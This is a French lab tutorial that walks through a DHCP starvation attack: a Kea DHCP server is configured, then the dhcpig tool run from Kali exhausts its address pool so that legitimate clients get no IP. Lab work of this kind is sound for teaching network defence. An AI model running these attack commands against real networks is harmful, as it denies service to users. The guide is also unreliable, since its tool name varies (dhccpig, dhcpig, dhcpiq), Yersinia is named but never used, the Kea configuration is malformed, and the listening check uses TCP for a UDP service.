

Lab 2 — DHCP Starvation avec Kea + Yersinia/dhccpig

Objectif

Simuler une attaque DHCP Starvation :

- Serveur DHCP : Kea DHCP
- Attaquant : Kali Linux
- Outil attaque : dhccpig

Le but :

- épuiser le pool DHCP
 - observer les baux consommés
-

1. Architecture

Machine	IP
Kea DHCP	192.168.56.100
Kali	DHCP client

Réseau :

192.168.56.0/24

2. Installation Kea DHCP

Sur Ubuntu Server

```
sudo apt update
sudo apt install kea-dhcp4-server -y
```

3. Configuration Kea

Fichier :

```
sudo nano /etc/kea/kea-dhcp4.conf
```

Configuration minimale :

```
{
  "Dhcp4": {
    "interfaces-config": {
      "interfaces": [ "eth0" ]
    },
    "lease-database": {
      "type": "memfile",
      "persist": true,
      "name": "/var/lib/kea/kea-leases4.csv"
    },
    "subnet4": [
      {
        "subnet": "192.168.56.0/24",
        "pools": [
          {
            "pool": "192.168.56.50 - 192.168.56.80"
          }
        ]
      },
      {
        "option-data": [
          {
            "name": "routers",
            "data": "192.168.56.1"
          },
          {
            "name": "domain-name-servers",
            "data": "8.8.8.8"
          }
        ]
      }
    ]
  }
}
```

4. Redémarrer Kea

```
sudo systemctl restart kea-dhcp4-server
sudo systemctl status kea-dhcp4-server
```

5. Vérifier écoute DHCP

```
sudo ss -ltnp | grep 67
```

6. Installation dhcpig sur Kali

```
sudo apt update
sudo apt install dhcpig -y
```

7. Lancer attaque DHCP Starvation

Depuis Kali :

```
sudo dhcpiq -i eth0
```

Version agressive :

```
sudo dhcpiq -i eth0 -r 1000
```

8. Observer les leases consommés

Méthode 1 — Fichier leases

Sur serveur Kea :

```
cat /var/lib/kea/kea-leases4.csv
```

Méthode 2 — Temps réel

```
watch cat /var/lib/kea/kea-leases4.csv
```

9. Observer trafic DHCP

Sur serveur :

```
sudo tcpdump -i eth0 port 67 or port 68
```

10. Vérifier épuisement pool

Quand le pool est saturé :

- les nouveaux clients ne reçoivent plus d'IP

Tester depuis une machine cliente :

```
sudo dhclient -r  
sudo dhclient
```

Vous verrez l'échec d'attribution IP.

11. Nettoyage

Stopper dhcpig

CTRL+C

Supprimer leases

```
sudo systemctl stop kea-dhcp4-server  
sudo rm /var/lib/kea/kea-leases4.csv  
sudo systemctl start kea-dhcp4-server
```